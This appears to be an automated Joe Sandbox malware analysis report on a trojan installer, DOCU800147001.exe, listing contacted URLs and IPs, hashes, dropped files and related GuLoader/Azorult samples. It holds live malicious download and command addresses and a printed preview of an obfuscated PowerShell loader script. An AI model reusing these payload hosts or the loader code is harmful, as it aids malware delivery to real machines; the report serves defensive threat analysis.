http://b2csa.icu/PL341/index.php	true	Avira URL Cloud: malware	unknown
http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin2	msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://b2csa.icu/m32	msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b2csa.icu/PL341/index.phpVVWT	msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	DOCU800147001.exe, DOCU800147001.exe.2.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b2csa.icu/PL341/index.phpal	msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://b2csa.icu/PL341/index.phpFv	msiexec.exe, 00000008.00000002.2616759739.000000000699A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	DOCU800147001.exe, DOCU800147001.exe.2.dr	false		high
http://b2csa.icu/	msiexec.exe, 00000008.00000002.2616759739.0000000006A02000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2616759739.00000000069DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000002.00000002.2546703492.0000000008332000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2527630104.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2527630104.0000000004D96000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2531096642.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b2csa.icu/P5	msiexec.exe, 00000008.00000002.2616759739.00000000069DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2527630104.0000000004C41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b2csa.icu/PL341/index.phpj	msiexec.exe, 00000008.00000002.2616759739.0000000006A02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
107.151.162.135	electricsuitcase.net	United States		21859	ZNETUS	false
104.21.32.1	b2csa.icu	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592041
Start date and time:	2025-01-15 17:36:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DOCU800147001.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/15@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 91% Number of executed functions: 68 Number of non-executed functions: 27
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 52.149.20.212, 4.175.87.197
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 1944 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 5664 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:37:01	API Interceptor	37x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
107.151.162.135	24010-KAPSON.exe	Get hash	malicious	Azorult, GuLoader	Browse	electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin
104.21.32.1	24010-KAPSON.exe	Get hash	malicious	Azorult, GuLoader	Browse	b2csa.icu/PL341/index.php
	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	www.rafconstrutora.online/sa6l/
	BalphRTkPS.exe	Get hash	malicious	FormBook	Browse	www.aziziyeescortg.xyz/2pcx/
	25IvlOVEB1.exe	Get hash	malicious	FormBook	Browse	www.masterqq.pro/3vdc/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
electricsuitcase.net	24010-KAPSON.exe	Get hash	malicious	Azorult, GuLoader	Browse	107.151.162.135
b2csa.icu	24010-KAPSON.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.32.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ZNETUS	https://imtcoken.im/	Get hash	malicious	Unknown	Browse	199.91.74.184
	24010-KAPSON.exe	Get hash	malicious	Azorult, GuLoader	Browse	107.151.162.135
	https://hmflowcontrols.com/ch/CHFINAL/50477/	Get hash	malicious	Unknown	Browse	23.236.112.179
	http://www.telegramdd.org/	Get hash	malicious	Unknown	Browse	199.91.74.208
	http://www.telegramii.org/	Get hash	malicious	Unknown	Browse	199.91.74.209
	http://m.escritoresunidos.com/	Get hash	malicious	Unknown	Browse	199.91.74.209
	https://www.xietaoz.com/	Get hash	malicious	Unknown	Browse	199.91.74.185
	http://www.telegramhj.org/	Get hash	malicious	Unknown	Browse	199.91.74.208
	http://www.telegram-gd.com/	Get hash	malicious	Unknown	Browse	199.91.74.208
	https://whatsapp-cy.com/	Get hash	malicious	Unknown	Browse	199.91.74.184
CLOUDFLARENETUS	firstontario.docx	Get hash	malicious	Unknown	Browse	1.1.1.1
	lummm_lzmb.exe	Get hash	malicious	LummaC	Browse	104.21.67.165
	https://solve.lzmb.org/awjsx.captcha?u=a85c9e46-f1ff-475f-b74c-c23cf236a082	Get hash	malicious	Unknown	Browse	104.21.78.33
	https://solve.xfzz.org/awjsx.captcha?u=c56ed68e-fc67-4e24-b8ac-6adc700e0877%20#%20%E2%9C%85%20''I%20am%20not%20a%20robot%20-%20reCAPTCHA%20Verification%20ID:%203467''	Get hash	malicious	Unknown	Browse	104.21.32.1
	https://tinyurl.com/Amconconstruction	Get hash	malicious	Unknown	Browse	104.17.25.14
	Zohobooks Voip CaIIer left (4) voice message from +1 (___) ___-__92 [MSG ID-zNeaDpAKAIgeQjKGl].eml	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://bluefiles.com/fr/reader/document/2c33782e98658214c7dff875dd234fc3b9b9a60915ac1685fe35abcc657c139d	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://u13762205.ct.sendgrid.net/ls/click?upn=u001.2N-2FFSd8Mh5tdTcK2pEXUToH0F5-2Fq3FDo8pnKFzcXMK24EOVQRPQXOzov3WP6TeQDbpOFMAzOhzk6g52qaRBXMg-3D-3DIjNL_PKcFXsnzduNOkTk1M1BuFSXBwpDtJ5JnfBBGS8mWfSDpSIzzZrzaRAqzsWn9I2SACyGbOCQAHofmU9ue-2Bfpl8m5UVDAXfATbU3zHgCM2w6TpOzhFbmwlUQoZzHTxRoJD6sBCzgzJz3SY7rmsp-2BquYHmL2DTOkQggmMFIfKhNPVaBf8NTmimDBPZdcr9YqjF8L6hryY10MBbjsSOUH778gw-3D-3D	Get hash	malicious	Unknown	Browse	104.18.10.207
	i686.elf	Get hash	malicious	Mirai	Browse	8.44.96.126

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll	#U8fdd#U89c4#U540d#U5355.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll	hnTW5HdWvY.exe	Get hash	malicious	AgentTesla, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kreditformidlernes67.hve

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4303), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	71505
Entropy (8bit):	5.166626957385969
Encrypted:	false
SSDEEP:	1536:3pkD/PCEXDxGNlmE3u1u0vzMBj8HuPavptArCLB8+iqj:ZkD/rzVCuk07MBwvxtAro5xj
MD5:	DCD80EB1AD2E5394274FFDCE163D4815
SHA1:	F409BB772F6FCACE2AE9505DBF1764186178158F
SHA-256:	16743054909C0B954ADECE9179B026560C1671DB30E2CB397DDC4C3742C57BC4
SHA-512:	8FA32C316430DB3E59401ADD31221F2B46EF56732F1CBE8D02576CB140163B189B7EFFC43223F3F59DE80BD936231B1032A4673980BE7653EBE647E9EBAA1ED5
Malicious:	true
Reputation:	low
Preview:	$Udviskes=$Tricorporate;........$Allagite = @'.Nedkast. Monoc.$MarkereHhoofyp oVgtfyldo,eversesSlyngedeUdtry sg ElectroFolk stwCamellus Grshop=Unawkwa$Di itriUNona.midP eurotsDemokratSockmake DelmoddUd aden;Genvo d.GamgiagfUndithyuLr rbalnActinolcOverreatKalk,aniClankinoSpecie nSnorkel SoutherCCentrifoNoto relSerieprpPeerl.soArseniatFuldstnoBoer,temBertramiReversieSoundbosLandshe Unruef(Gramsci$Erhv,rvPBiberetrHorograarangstieannabeldCineritiS.ttepaaAutologlEgn udv,Antilyt$SynchroIEnclavinViderekeSgne agxEs ancipSibilateCannibarHjemlertUnpate sineffi ) Di sek Exorcis{Semia a.Handlin.hydroxy$DyslektUImpreg,nGalletarSa arita Foxi,edSek.teniElimin cFamilisaAposioplhanapstiProvokaz Mi jree DecamesHanap.r F,gocyt(AlcedinSDawtieeoAftensvv,ngakorsTitelreeAfs,idnkV.vensoa Icon mnOmg geld Unso eeArereelnMorrowt Hystren'todagesITaffel nNabonuldAxemenaaUlve.ornTrotskiksmadder Recusee$Syv iledSexdrifeRari anmGuidewaiforstuvdR flektoAidmanrmModgaarPTimotqx Bo,tvanOStaldbrpCoriamy KommanrC,iticia

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	963872
Entropy (8bit):	7.674079791252531
Encrypted:	false
SSDEEP:	24576:YuA8/BOypdAGTekMh6RJNBIQll+hQT2jiux5A:+IBOypdAGTRrRFIQlluQsxq
MD5:	AB99E49A4471901468BBBD9CCF228DE0
SHA1:	2B7302E1B24A9994E2924E97E627C1F5DE23EAAA
SHA-256:	8F856E9882D312F6A51F265796C6A68C1914D1C51C59FC1964484FA5AC130F34
SHA-512:	BCDA816D71AAB2B798ED2D2764099EEA01CE51C9A276377A0D5CA3AED4AAF328D700204DBBC8539D16EB70529D390D7113E7700C98652CAA4512C2979EF9313C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<`..x...x...x......z...x..........i...,"..t.......y...Richx...........................PE..L....f.R.................\....9......0.......p....@..........................@=..............................................s....... ;................. ............................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata....... :..........................rsrc........ ;......v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\DOCU800147001.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\arrogantly.wea

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	data
Category:	dropped
Size (bytes):	1526575
Entropy (8bit):	0.29530349075836504
Encrypted:	false
SSDEEP:	768:ASVaka6XCOUX+4bFIT0hio6OHaHuPqo8MObUS8wQ9x2q0gQIsH9f9aoDpvfPUGRM:TLDlBdK
MD5:	B12744C545F373B12899405E7B06703C
SHA1:	00444A0C0ED55B4BCBD428E9367C48B943E6B6E5
SHA-256:	3F08EB75471C7749CF2832874DFE9D87D7C92F6C0B287F44C61BA87132DBB6B5
SHA-512:	356BC941E6D7E77BBC6809C2E8B7835DAF26A649478FAD3BBF96CC0FF5F7AC5380433A7BDF1706778E2E3AD60932E91C3FCFD6A2D161F25A19626396BFB7F2C7
Malicious:	false
Preview:	.........................&...........................................................................................................................................................................?..................................................................U..................................................................................!................d...........................................................................................A.........................................................E.........................................................................Q.....................................................................................................................................................................................................................................................................................................................................x.....................................................................................

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\brudsikreste.txt

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	455
Entropy (8bit):	4.237067132953465
Encrypted:	false
SSDEEP:	12:EBdbnteRhtBkSebie21b+Kdg6B3nmhBKnTy19h:EX49MGJfg6FnlToL
MD5:	C66131BE12E218CB451A5CDEFEFD93EF
SHA1:	5D3EFE4F715281097AC9EF67580349088D89D858
SHA-256:	FA8A7D0FAD17FACB47C04904463406343D46E9E4A6932231F64EE2BCD8562C36
SHA-512:	3F71B278BB06786AF7422846520BFCDADAF5D7FD64A1AB3023210FA7A82B1FD3C18E504DDEC18B5CE7F931A966C30C1738234592A51B59AB79BEA69D24C998ED
Malicious:	false
Preview:	vrdistigningen opsamlingsdepoter archwife streetlike roeoptagerne tantalifluoride tightlier,gdningsopbevaringer bouncingly heroarchy tetragonus recivilize grundendes bsses,kortege azotin daarligdom briggsk insularize spenses cadges,kallunerne eradicate ultraconfident tallerkenfuld skredet aya.smkfyldtes vulkaner sengevderne hldedes temperere poetizers dotering stangende talenttrf..iridium hanny hoghead ergotist frygtendes samarkand rrigere strmmedes..

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\fistres.pho

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	data
Category:	dropped
Size (bytes):	4656676
Entropy (8bit):	0.2967284544570692
Encrypted:	false
SSDEEP:	768:9kAMMC60OOax4t/q+BXJum2LG6Y59t54dkUOfsnutif04CG4Fz20jIz7U+376EyQ:6MRjkS1bFdh1k8Z8ZJWVmInj
MD5:	5A6329442D47F58811E3D0AB09312866
SHA1:	D84BD4A23998795019EF4F370535ED5DD7AFC97E
SHA-256:	B146D608F302E262857711B5E9A9B0FD4409E952A025854F36B9E2D9325E0FCE
SHA-512:	48F26A08F614182D59EC010B1106D0E05CF55C9F48AE70F706435E41D92E786E9C9E78008DE26E6136A154D0D3D2B92FE519FC3157940BC2F34F3DAAD75B3D47
Malicious:	false
Preview:	...............................................................g.......................................................................................,................................................................................................................................................................................................................................>.....................................................................................................................................................................G..............................................................................................................w...l............................................................................................................d.........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\martyrdds.ele

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	data
Category:	dropped
Size (bytes):	2400319
Entropy (8bit):	0.2970727664331768
Encrypted:	false
SSDEEP:	768:QYEycGQ020iR3UzxToaNbm/CQIHqWHLCk1jPFAsKWj2BqcuzyxA41UqJFmTzU3os:csTf/jhESARl/
MD5:	AEE4BB6A9E3BD66FD8D2C7F9F20D6C75
SHA1:	BDAB62C341DFEC94CB2E8D27C35531D8A849541E
SHA-256:	5ECDFCC07F21D459544978A2CC6CE6CEA67E9CA8BC46D7CA0B069E6F492BD4A3
SHA-512:	E2EAE217804C6596D2D23025CE1358CFB8FAFFDA09DE89C93E044838F18E83237094BEF872D49BF99F47326272876A47E6E236D6DB0106B56DF42BE7C5F82472
Malicious:	false
Preview:	.............._...............................................................................................................................................,.........................................................................................................................................................................................................................................................................................................................................................................................n..............................................................................................................................................................................................................................................................................................................................................................!...............................................................................................................

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\Kulds\vagabondage.fis

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	data
Category:	dropped
Size (bytes):	2221689
Entropy (8bit):	0.2975722061630014
Encrypted:	false
SSDEEP:	768:oiVj0sDGFYdWIWsIdL0HBu2W06kRV073deJ5twc39KRw7kbrGgu/hIgh6QxBPK6I:bjJjsTWRuje
MD5:	6630050C1BC0F9002CFFD4E3878AF422
SHA1:	EDEF39DB60837C4CBA254AAB55D03D3566C3ECA8
SHA-256:	40E701BA7606B5251E9E5F3B6376B0AB06DBBA76BE2DB51814F9A6335FC673C4
SHA-512:	899B32617790B94FCFBDB3ABDCD3CDCA899735851416BEDBF1533123E4E92491A612A3D223FC051D16FA04C28BB74721F45705BF98E4B1C462C1C813BAEAA2D2
Malicious:	false
Preview:	.................................................................................................................................................................C...................................................................................................................................................................m............................................................................................................................................................................................Z.....................................k..............................................................................................................................................................................=........................................................................................................................1.....................................r......................................................7...................................................Y......

C:\Users\user\AppData\Local\Ramtils\Formaldehyds\tyngdepunkterne\decouple.Chr

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	data
Category:	dropped
Size (bytes):	359849
Entropy (8bit):	7.600028553847548
Encrypted:	false
SSDEEP:	6144:VLhZ6DqSZZ1oTW97PURnyz+/+2ysYwEyfwqF8YvF+yGImhDG00:+qKwW97PU0z+N5IqFlGi00
MD5:	9CAE95341FEE19C573B15CDEBA15077B
SHA1:	91CD113B2FF21CC6A1C2B11D0812080B61C6CB68
SHA-256:	9CB1A6246F58400EB6C3319E2CA0524BD8392FA23E727439706DC77F7F021EE5
SHA-512:	92464C29B5F4F652622C9B5EE74BFE706CBC3335892461C44EFFCF82902D7A4DE5087C8D00724F6900F23F9D7AC8E3B990C82BD784E6FF8F1525940F55FE57C2
Malicious:	false
Preview:	.......----.......Y......eeee.........$....................99......................T..........................}.fff..fff...+..a.........55...B................. .,........[[.......................................II.e......................00......\|..jj..........?...d........hh...:..............................^...........f...............................L.88...........e........................... ..................................]..\|\|.SS....d.........]................c.............,..,...`.......\|...zz...&&..............$.....2...........d....................R.x........GGG.....PP........ .=.......g..o.....SS....PPPPP.,.@....c......................................O..........................W.....s.........V.................O.............v.>.........##..UUU......."""...............................................................aa.................._....T.lll....E.......l...:..gg.........mmmm...@.....PPP.....N.......S.\|.....7..........&&.###....FFFF.ZZ.....OO..N............,..a.........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4qte5eam.rut.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvm45sqb.g4z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4xyj1co.gpr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pxvwrc2y.jrq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nsx7F0.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\DOCU800147001.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.028908901377071
Encrypted:	false
SSDEEP:	96:W7GUaYNwCLuGFctpiKFlYJ8hH4RVHpwdEeY3kRlDr6dMqqyVgN738:Iygp3FcHi0xhYMR8dMqJVgN
MD5:	51E63A9C5D6D230EF1C421B2ECCD45DC
SHA1:	C499CDAD5C613D71ED3F7E93360F1BBC5748C45D
SHA-256:	CD8496A3802378391EC425DEC424A14F5D30E242F192EC4EB022D767F9A2480F
SHA-512:	C23D713C3C834B3397C2A199490AED28F28D21F5781205C24DF5E1E32365985C8A55BE58F06979DF09222740FFA51F4DA764EBC3D912CD0C9D56AB6A33CAB522
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: #U8fdd#U89c4#U540d#U5355.exe, Detection: malicious, Browse Filename: hnTW5HdWvY.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........d..7..7..7..7..7,..7..7..7..7..7..7Rich..7........PE..L....f.R...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text...J........................... ..`.rdata..,.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.674079791252531
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DOCU800147001.exe
File size:	963'872 bytes
MD5:	ab99e49a4471901468bbbd9ccf228de0
SHA1:	2b7302e1b24a9994e2924e97e627c1f5de23eaaa
SHA256:	8f856e9882d312f6a51f265796c6a68c1914d1c51c59fc1964484fa5ac130f34
SHA512:	bcda816d71aab2b798ed2d2764099eea01ce51c9a276377a0d5ca3aed4aaf328d700204dbbc8539d16eb70529d390d7113e7700c98652caa4512c2979ef9313c
